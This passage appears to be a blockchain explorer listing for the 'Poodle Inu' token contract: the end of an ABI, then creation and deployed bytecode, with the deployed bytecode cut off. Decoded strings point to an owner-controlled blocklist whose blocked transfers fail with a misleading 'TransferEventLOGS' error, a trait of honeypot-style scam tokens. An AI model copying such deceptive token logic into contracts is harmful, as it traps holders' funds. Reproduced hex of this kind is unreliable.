Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600a60a081905269506f6f646c6520496e7560b01b60c09081526200002d916002919062000679565b5060408051808201909152600680825265504f4f444c4560d01b60209092019182526200005d9160039162000679565b50600480546001600160a81b031916745cf21fbefe5ee9827c7510037677909c201fa29e0917905560058054735cf21fbefe5ee9827c7510037677909c201fa29e6001600160a01b03199091161790556ddead0000000000000000000000006080526000600d8190556001600e819055600f82905560108290556011556012819055601381905560026014819055601582905560168290556017829055601891909155683635c9adc5dea000006019556801158e460913d00000601a819055601b556008601c556516bcc41e9000601d55601f805462ffffff60a81b19166201000160a81b17905560208190556021553480156200015a57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001ef57600080fd5b505afa15801562000204573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022a91906200071f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200027357600080fd5b505afa15801562000288573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ae91906200071f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620002f757600080fd5b505af11580156200030c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033291906200071f565b601f80546001600160a01b039283166001600160a01b031991821617909155601e8054928416929091168217905560195430600090815260076020908152604080832094835293905291822055600190600890620003986000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260088452828120805486166001908117909155600554909216815291909120805490931617909155600f54600e54600d546200042893620004149290620010306200060c821b17901c565b6200060c60201b620010301790919060201c565b60168190555062000453601254620004146011546010546200060c60201b620010301790919060201c565b6017819055506200047e601554620004146014546013546200060c60201b620010301790919060201c565b6018556001600960006200049a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f548216815260099093528183208054851660019081179091553084528284208054861682179055600554909116835290822080549093168117909255600b906200051c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b8452828120805486166001908117909155600554831682528382208054871682179055601f549092168152600c909352908220805490931617909155601954906006906200059a3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601954604051620005fd91815260200190565b60405180910390a350620007ae565b6000806200061b83856200074a565b905083811015620006725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b9392505050565b828054620006879062000771565b90600052602060002090601f016020900481019282620006ab5760008555620006f6565b82601f10620006c657805160ff1916838001178555620006f6565b82800160010185558215620006f6579182015b82811115620006f6578251825591602001919060010190620006d9565b506200070492915062000708565b5090565b5b8082111562000704576000815560010162000709565b6000602082840312156200073257600080fd5b81516001600160a01b03811681146200067257600080fd5b600082198211156200076c57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200078657607f821691505b60208210811415620007a857634e487b7160e01b600052602260045260246000fd5b50919050565b60805160601c612418620007db6000396000818161040401528181610a5d0152610d0801526124186000f3fe6080604052600436106102e85760003560e01c8063787a08a611610190578063b8316719116100dc578063d158272d11610095578063dd62ed3e1161006f578063dd62ed3e146108aa578063f0cd1dac146108f0578063f2fde38b14610906578063f872858a1461092657600080fd5b8063d158272d1461084e578063da00097d14610873578063dc44b6a01461089457600080fd5b8063b8316719146107a7578063c5d24189146107bd578063c816841b146107d3578063c8607952146107f3578063c867d60b14610809578063caf5f67d1461083957600080fd5b80638b42507f11610149578063a08e671f11610123578063a08e671f14610731578063a457c2d714610747578063a5d5fb3b14610767578063a9059cbb1461078757600080fd5b80638b42507f146106ce5780638da5cb5b146106fe57806395d89b411461071c57600080fd5b8063787a08a6146106405780637d1db4a514610656578063807c2d9c1461066c57806382eefb431461068257806386d662161461069857806388790a68146106b857600080fd5b80633b97084a1161024f5780635c5fae571161020857806370a08231116101e257806370a08231146105b8578063715018a6146105ee578063751039fc1461060357806375b089371461062057600080fd5b80635c5fae571461055c578063619e1e361461058c57806361a23c69146105a257600080fd5b80633b97084a146104935780634a74bb02146104b55780634cb80fd5146104d65780635342acb4146104f657806357a5802f146105265780635bcb318a1461053c57600080fd5b806323b872dd116102a157806323b872dd146103d257806327c8f835146103f25780632b112e4914610426578063313ce5671461043b578063328e94a51461045d578063395093511461047357600080fd5b80630432ba34146102f457806306fdde031461031d578063095ea7b31461033f5780631694505e1461036f57806316ada547146103a757806318160ddd146103bd57600080fd5b366102ef57005b600080fd5b34801561030057600080fd5b5061030a60155481565b6040519081526020015b60405180910390f35b34801561032957600080fd5b50610332610947565b604051610314919061213b565b34801561034b57600080fd5b5061035f61035a366004611fb8565b6109d9565b6040519015158152602001610314565b34801561037b57600080fd5b50601e5461038f906001600160a01b031681565b6040516001600160a01b039091168152602001610314565b3480156103b357600080fd5b5061030a60205481565b3480156103c957600080fd5b5060195461030a565b3480156103de57600080fd5b5061035f6103ed366004611f77565b6109f0565b3480156103fe57600080fd5b5061038f7f000000000000000000000000000000000000000000000000000000000000000081565b34801561043257600080fd5b5061030a610a5b565b34801561044757600080fd5b5060045460405160ff9091168152602001610314565b34801561046957600080fd5b5061030a601c5481565b34801561047f57600080fd5b5061035f61048e366004611fb8565b610aa5565b34801561049f57600080fd5b506104b36104ae3660046120b0565b610adb565b005b3480156104c157600080fd5b50601f5461035f90600160a81b900460ff1681565b3480156104e257600080fd5b506104b36104f1366004611f04565b610b13565b34801561050257600080fd5b5061035f610511366004611f04565b60086020526000908152604090205460ff1681565b34801561053257600080fd5b5061030a60135481565b34801561054857600080fd5b506104b36105573660046120b0565b602055565b34801561056857600080fd5b5061035f610577366004611f04565b600c6020526000908152604090205460ff1681565b34801561059857600080fd5b5061030a60125481565b3480156105ae57600080fd5b5061030a60145481565b3480156105c457600080fd5b5061030a6105d3366004611f04565b6001600160a01b031660009081526006602052604090205490565b3480156105fa57600080fd5b506104b3610b65565b34801561060f57600080fd5b506104b3601954601a819055601b55565b34801561062c57600080fd5b506104b361063b366004611f04565b610bd9565b34801561064c57600080fd5b5061030a60215481565b34801561066257600080fd5b5061030a601a5481565b34801561067857600080fd5b5061030a601b5481565b34801561068e57600080fd5b5061030a60175481565b3480156106a457600080fd5b5060055461038f906001600160a01b031681565b3480156106c457600080fd5b5061030a60105481565b3480156106da57600080fd5b5061035f6106e9366004611f04565b600b6020526000908152604090205460ff1681565b34801561070a57600080fd5b506000546001600160a01b031661038f565b34801561072857600080fd5b50610332610c25565b34801561073d57600080fd5b5061030a60185481565b34801561075357600080fd5b5061035f610762366004611fb8565b610c34565b34801561077357600080fd5b506104b3610782366004611fe4565b610c83565b34801561079357600080fd5b5061035f6107a2366004611fb8565b610ecc565b3480156107b357600080fd5b5061030a600f5481565b3480156107c957600080fd5b5061030a600e5481565b3480156107df57600080fd5b50601f5461038f906001600160a01b031681565b3480156107ff57600080fd5b5061030a60115481565b34801561081557600080fd5b5061035f610824366004611f04565b60096020526000908152604090205460ff1681565b34801561084557600080fd5b506104b3610ed9565b34801561085a57600080fd5b5060045461038f9061010090046001600160a01b031681565b34801561087f57600080fd5b50601f5461035f90600160b01b900460ff1681565b3480156108a057600080fd5b5061030a600d5481565b3480156108b657600080fd5b5061030a6108c5366004611f3e565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156108fc57600080fd5b5061030a60165481565b34801561091257600080fd5b506104b3610921366004611f04565b610f46565b34801561093257600080fd5b50601f5461035f90600160b81b900460ff1681565b606060028054610956906122d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610982906122d3565b80156109cf5780601f106109a4576101008083540402835291602001916109cf565b820191906000526020600020905b8154815290600101906020018083116109b257829003601f168201915b5050505050905090565b60006109e633848461108f565b5060015b92915050565b60006109fd8484846111b3565b50610a508433610a4b85604051806060016040528060288152602001612396602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611719565b61108f565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054601954610aa091611753565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916109e6918590610a4b9086611030565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b8152600401610b0590612190565b60405180910390fd5b601d55565b6000546001600160a01b03163314610b3d5760405162461bcd60e51b8152600401610b0590612190565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610b8f5760405162461bcd60e51b8152600401610b0590612190565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c035760405162461bcd60e51b8152600401610b0590612190565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b606060038054610956906122d3565b60006109e63384610a4b856040518060600160405280602581526020016123be602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611719565b60005b8151811015610ec857306001600160a01b0316828281518110610cab57610cab612354565b60200260200101516001600160a01b03161415610cc757600080fd5b60055482516001600160a01b0390911690839083908110610cea57610cea612354565b60200260200101516001600160a01b03161415610d0657600080fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316828281518110610d4257610d42612354565b60200260200101516001600160a01b03161415610d5e57600080fd5b601f5482516001600160a01b0390911690839083908110610d8157610d81612354565b60200260200101516001600160a01b03161415610d9d57600080fd5b6000546001600160a01b03166001600160a01b0316828281518110610dc457610dc4612354565b60200260200101516001600160a01b03161415610de057600080fd5b600460019054906101000a90046001600160a01b03166001600160a01b0316828281518110610e1157610e11612354565b60200260200101516001600160a01b03161415610e2d57600080fd5b601e5482516001600160a01b0390911690839083908110610e5057610e50612354565b60200260200101516001600160a01b03161415610e6c57600080fd5b6001600a6000848481518110610e8457610e84612354565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ec08161232e565b915050610c86565b5050565b6000610a503384846111b3565b60045460405160009161010090046001600160a01b03169061753090479084818181858888f193505050503d8060008114610f30576040519150601f19603f3d011682016040523d82523d6000602084013e610f35565b606091505b5050905080610f4357600080fd5b50565b6000546001600160a01b03163314610f705760405162461bcd60e51b8152600401610b0590612190565b6001600160a01b038116610fd55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b05565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061103d8385612263565b905083811015610a545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b05565b6001600160a01b0383166110f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b05565b6001600160a01b0382166111525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b05565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166112195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b05565b6001600160a01b03831661127b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b05565b6001600160a01b0384166000908152600a602052604090205460ff16156112fd5760405162461bcd60e51b815260206004820152603060248201527f556e61626c6520746f206c6f6361746520636f72726573706f6e64696e67205460448201526f72616e736665724576656e744c4f475360801b6064820152608401610b05565b6000821161135f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b05565b601f54600160a01b900460ff16156113835761137c848484611795565b9050610a54565b6001600160a01b0384166000908152600b602052604090205460ff161580156113c557506001600160a01b0383166000908152600b602052604090205460ff16155b1561142d57601a5482111561142d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610b05565b30600090815260066020526040902054601d548110801590819061145b5750601f54600160a01b900460ff16155b801561148057506001600160a01b0386166000908152600c602052604090205460ff16155b80156114955750601f54600160a81b900460ff165b156114bb57601f54600160b01b900460ff16156114b257601d5491505b6114bb8261187b565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03891660009081526006909152919091205461150d918690611719565b6001600160a01b038716600090815260066020908152604080832093909355600890529081205460ff168061155a57506001600160a01b03861660009081526008602052604090205460ff165b61156e576115698787876119b6565b611570565b845b601f54909150600160b81b900460ff1680156115a557506001600160a01b03861660009081526009602052604090205460ff16155b156115e157601b546115d6826115d0896001600160a01b031660009081526006602052604090205490565b90611030565b11156115e157600080fd5b6001600160a01b0386166000908152600660205260409020546116049082611030565b6001600160a01b0387166000908152600660205260409020556021546116589061162f60648861227b565b611639919061229d565b6001600160a01b03881660009081526006602052604090205490611753565b6001600160a01b038716600090815260066020908152604090912091909155546116b29061168760648861227b565b611691919061229d565b6005546001600160a01b031660009081526006602052604090205490611030565b6005546001600160a01b03908116600090815260066020908152604091829020939093555183815288821692918a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360019350505050610a54565b6000818484111561173d5760405162461bcd60e51b8152600401610b05919061213b565b50600061174a84866122bc565b95945050505050565b6000610a5483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611719565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526006909152918220546117e6918490611719565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546118159083611030565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118699086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b1790556018546013546000916118b1916002916118ab9182908790611b44565b90611bc3565b905060006118bf8383611753565b90506118ca81611c05565b60135447906000906118ea906118e1906002611bc3565b60185490611753565b9050600061190c60026118ab846118ab60135488611b4490919063ffffffff16565b90506000611929836118ab60155487611b4490919063ffffffff16565b905060006119418261193b8786611753565b90611753565b90508015611964576004546119649061010090046001600160a01b031682611da7565b811561198057600554611980906001600160a01b031683611da7565b6000831180156119905750600087115b1561199f5761199f8784611de2565b5050601f805460ff60a01b19169055505050505050565b6001600160a01b0383166000908152600c6020526040812054819060ff16156119fa576119f360646118ab60165486611b4490919063ffffffff16565b9050611ac0565b6001600160a01b0384166000908152600c602052604090205460ff1615611ac057611a3560646118ab60175486611b4490919063ffffffff16565b90506000805b601c548113611a985760408051602081018390529081018690524260608201526080016040516020818303038152906040528051906020012060001c9150611a8587836064611795565b5080611a908161230e565b915050611a3b565b50611abd601c546001611aab9190612222565b611ab690606461229d565b8590611753565b50505b8015611b3a5730600090815260066020526040902054611ae09082611030565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b319085815260200190565b60405180910390a35b61174a8382611753565b600082611b53575060006109ea565b6000611b5f838561229d565b905082611b6c858361227b565b14610a545760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b05565b6000610a5483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ec6565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611c3a57611c3a612354565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611c8e57600080fd5b505afa158015611ca2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc69190611f21565b81600181518110611cd957611cd9612354565b6001600160a01b039283166020918202929092010152601e54611cff913091168461108f565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d389085906000908690309042906004016121e6565b600060405180830381600087803b158015611d5257600080fd5b505af1158015611d66573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611d9b9291906121c5565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611ddd573d6000803e3d6000fd5b505050565b601e54611dfa9030906001600160a01b03168461108f565b601e546001600160a01b031663f305d719823085600080611e236000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015611e8657600080fd5b505af1158015611e9a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ebf91906120c9565b5050505050565b60008183611ee75760405162461bcd60e51b8152600401610b05919061213b565b50600061174a848661227b565b8035611eff81612380565b919050565b600060208284031215611f1657600080fd5b8135610a5481612380565b600060208284031215611f3357600080fd5b8151610a5481612380565b60008060408385031215611f5157600080fd5b8235611f5c81612380565b91506020830135611f6c81612380565b809150509250929050565b600080600060608486031215611f8c57600080fd5b8335611f9781612380565b92506020840135611fa781612380565b929592945050506040919091013590565b60008060408385031215611fcb57600080fd5b8235611fd681612380565b946020939093013593505050565b60006020808385031215611ff757600080fd5b823567ffffffffffffffff8082111561200f57600080fd5b818501915085601f83011261202357600080fd5b8135818111156120355761203561236a565b8060051b604051601f19603f8301168101818110858211171561205a5761205a61236a565b604052828152858101935084860182860187018a101561207957600080fd5b600095505b838610156120a35761208f81611ef4565b85526001959095019493860193860161207e565b5098975050505050505050565b6000602082840312156120c257600080fd5b5035919050565b6000806000606084860312156120de57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156121305781516001600160a01b03168752958201959082019060010161210b565b509495945050505050565b600060208083528351808285015260005b818110156121685785810183015185820160400152820161214c565b8181111561217a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8281526040602082015260006121de60408301846120f7565b949350505050565b85815284602082015260a06040820152600061220560a08301866120f7565b6001600160a01b0394909416606083015250608001529392505050565b600080821280156001600160ff1b03849003851316156122445761224461233e565b600160ff1b839003841281161561225d5761225d61233e565b50500190565b600082198211156122765761227661233e565b500190565b60008261229857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156122b7576122b761233e565b500290565b6000828210156122ce576122ce61233e565b500390565b600181811c908216806122e757607f821691505b6020821081141561230857634e487b7160e01b600052602260045260246000fd5b50919050565b60006001600160ff1b038214156123275761232761233e565b5060010190565b6000600019821415612327576123275b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610f4357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205c6c5ed2a92e87479a57adc21ee3881842a49047c452f9bddcd1d35adb461bc564736f6c63430008070033

Deployed Bytecode

0x6080604052600436106102e85760003560e01c8063787a08a611610190578063b8316719116100dc578063d158272d11610095578063dd62ed3e1161006f578063dd62ed3e146108aa578063f0cd1dac146108f0578063f2fde38b14610906578063f872858a1461092657600080fd5b8063d158272d1461084e578063da00097d14610873578063dc44b6a01461089457600080fd5b8063b8316719146107a7578063c5d24189146107bd578063c816841b146107d3578063c8607952146107f3578063c867d60b14610809578063caf5f67d1461083957600080fd5b80638b42507f11610149578063a08e671f11610123578063a08e671f14610731578063a457c2d714610747578063a5d5fb3b14610767578063a9059cbb1461078757600080fd5b80638b42507f146106ce5780638da5cb5b146106fe57806395d89b411461071c57600080fd5b8063787a08a6146106405780637d1db4a514610656578063807c2d9c1461066c57806382eefb431461068257806386d662161461069857806388790a68146106b857600080fd5b80633b97084a1161024f5780635c5fae571161020857806370a08231116101e257806370a08231146105b8578063715018a6146105ee578063751039fc1461060357806375b089371461062057600080fd5b80635c5fae571461055c578063619e1e361461058c57806361a23c69146105a257600080fd5b80633b97084a146104935780634a74bb02146104b55780634cb80fd5146104d65780635342acb4146104f657806357a5802f146105265780635bcb318a1461053c57600080fd5b806323b872dd116102a157806323b872dd146103d257806327c8f835146103f25780632b112e4914610426578063313ce5671461043b578063328e94a51461045d578063395093511461047357600080fd5b80630432ba34146102f457806306fdde031461031d578063095ea7b31461033f5780631694505e1461036f57806316ada547146103a757806318160ddd146103bd57600080fd5b366102ef57005b600080fd5b34801561030057600080fd5b5061030a60155481565b6040519081526020015b60405180910390f35b34801561032957600080fd5b50610332610947565b604051610314919061213b565b34801561034b57600080fd5b5061035f61035a366004611fb8565b6109d9565b6040519015158152602001610314565b34801561037b57600080fd5b50601e5461038f906001600160a01b031681565b6040516001600160a01b039091168152602001610314565b3480156103b357600080fd5b5061030a60205481565b3480156103c957600080fd5b5060195461030a565b3480156103de57600080fd5b5061035f6103ed366004611f77565b6109f0565b3480156103fe57600080fd5b5061038f7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561043257600080fd5b5061030a610a5b565b34801561044757600080fd5b5060045460405160ff9091168152602001610314565b34801561046957600080fd5b5061030a601c5481565b34801561047f57600080fd5b5061035f61048e366004611fb8565b610aa5565b34801561049f57600080fd5b506104b36104ae3660046120b0565b610adb565b005b3480156104c157600080fd5b50601f5461035f90600160a81b900460ff1681565b3480156104e257600080fd5b506104b36104f1366004611f04565b610b13565b34801561050257600080fd5b5061035f610511366004611f04565b60086020526000908152604090205460ff1681565b34801561053257600080fd5b5061030a60135481565b34801561054857600080fd5b506104b36105573660046120b0565b602055565b34801561056857600080fd5b5061035f610577366004611f04565b600c6020526000908152604090205460ff1681565b34801561059857600080fd5b5061030a60125481565b3480156105ae57600080fd5b5061030a60145481565b3480156105c457600080fd5b5061030a6105d3366004611f04565b6001600160a01b031660009081526006602052604090205490565b3480156105fa57600080fd5b506104b3610b65565b34801561060f57600080fd5b506104b3601954601a819055601b55565b34801561062c57600080fd5b506104b361063b366004611f04565b610bd9565b34801561064c57600080fd5b5061030a60215481565b34801561066257600080fd5b5061030a601a5481565b34801561067857600080fd5b5061030a601b5481565b34801561068e57600080fd5b5061030a60175481565b3480156106a457600080fd5b5060055461038f906001600160a01b031681565b3480156106c457600080fd5b5061030a60105481565b3480156106da57600080fd5b5061035f6106e9366004611f04565b600b6020526000908152604090205460ff1681565b34801561070a57600080fd5b506000546001600160a01b031661038f565b34801561072857600080fd5b50610332610c25565b34801561073d57600080fd5b5061030a60185481565b34801561075357600080fd5b5061035f610762366004611fb8565b610c34565b34801561077357600080fd5b506104b3610782366004611fe4565b610c83565b34801561079357600080fd5b5061035f6107a2366004611fb8565b610ecc565b3480156107b357600080fd5b5061030a600f5481565b3480156107c957600080fd5b5061030a600e5481565b3480156107df57600080fd5b50601f5461038f906001600160a01b031681565b3480156107ff57600080fd5b5061030a60115481565b34801561081557600080fd5b5061035f610824366004611f04565b60096020526000908152604090205460ff1681565b34801561084557600080fd5b506104b3610ed9565b34801561085a57600080fd5b5060045461038f9061010090046001600160a01b031681565b34801561087f57600080fd5b50601f5461035f90600160b01b900460ff1681565b3480156108a057600080fd5b5061030a600d5481565b3480156108b657600080fd5b5061030a6108c5366004611f3e565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156108fc57600080fd5b5061030a60165481565b34801561091257600080fd5b506104b3610921366004611f04565b610f46565b34801561093257600080fd5b50601f5461035f90600160b81b900460ff1681565b606060028054610956906122d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610982906122d3565b80156109cf5780601f106109a4576101008083540402835291602001916109cf565b820191906000526020600020905b8154815290600101906020018083116109b257829003601f168201915b5050505050905090565b60006109e633848461108f565b5060015b92915050565b60006109fd8484846111b3565b50610a508433610a4b85604051806060016040528060288152602001612396602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611719565b61108f565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054601954610aa091611753565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916109e6918590610a4b9086611030565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b8152600401610b0590612190565b60405180910390fd5b601d55565b6000546001600160a01b03163314610b3d5760405162461bcd60e51b8152600401610b0590612190565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610b8f5760405162461bcd60e51b8152600401610b0590612190565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c035760405162461bcd60e51b8152600401610b0590612190565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b606060038054610956906122d3565b60006109e63384610a4b856040518060600160405280602581526020016123be602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611719565b60005b8151811015610ec857306001600160a01b0316828281518110610cab57610cab612354565b60200260200101516001600160a01b03161415610cc757600080fd5b60055482516001600160a01b0390911690839083908110610cea57610cea612354565b60200260200101516001600160a01b03161415610d0657600080fd5b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316828281518110610d4257610d42612354565b60200260200101516001600160a01b03161415610d5e57600080fd5b601f5482516001600160a01b0390911690839083908110610d8157610d81612354565b60200260200101516001600160a01b03161415610d9d57600080fd5b6000546001600160a01b03166001600160a01b0316828281518110610dc457610dc4612354565b60200260200101516001600160a01b03161415610de057600080fd5b600460019054906101000a90046001600160a01b03166001600160a01b0316828281518110610e1157610e11612354565b60200260200101516001600160a01b03161415610e2d57600080fd5b601e5482516001600160a01b0390911690839083908110610e5057610e50612354565b60200260200101516001600160a01b03161415610e6c57600080fd5b6001600a6000848481518110610e8457610e84612354565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ec08161232e565b915050610c86565b5050565b6000610a503384846111b3565b60045460405160009161010090046001600160a01b03169061753090479084818181858888f193505050503d8060008114610f30576040519150601f19603f3d011682016040523d82523d6000602084013e610f35565b606091505b5050905080610f4357600080fd5b50565b6000546001600160a01b03163314610f705760405162461bcd60e51b8152600401610b0590612190565b6001600160a01b038116610fd55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b05565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061103d8385612263565b905083811015610a545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b05565b6001600160a01b0383166110f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b05565b6001600160a01b0382166111525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b05565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166112195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b05565b6001600160a01b03831661127b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b05565b6001600160a01b0384166000908152600a602052604090205460ff16156112fd5760405162461bcd60e51b815260206004820152603060248201527f556e61626c6520746f206c6f6361746520636f72726573706f6e64696e67205460448201526f72616e736665724576656e744c4f475360801b6064820152608401610b05565b6000821161135f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b05565b601f54600160a01b900460ff16156113835761137c848484611795565b9050610a54565b6001600160a01b0384166000908152600b602052604090205460ff161580156113c557506001600160a01b0383166000908152600b602052604090205460ff16155b1561142d57601a5482111561142d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610b05565b30600090815260066020526040902054601d548110801590819061145b5750601f54600160a01b900460ff16155b801561148057506001600160a01b0386166000908152600c602052604090205460ff16155b80156114955750601f54600160a81b900460ff165b156114bb57601f54600160b01b900460ff16156114b257601d5491505b6114bb8261187b565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03891660009081526006909152919091205461150d918690611719565b6001600160a01b038716600090815260066020908152604080832093909355600890529081205460ff168061155a57506001600160a01b03861660009081526008602052604090205460ff165b61156e576115698787876119b6565b611570565b845b601f54909150600160b81b900460ff1680156115a557506001600160a01b03861660009081526009602052604090205460ff16155b156115e157601b546115d6826115d0896001600160a01b031660009081526006602052604090205490565b90611030565b11156115e157600080fd5b6001600160a01b0386166000908152600660205260409020546116049082611030565b6001600160a01b038716600090815260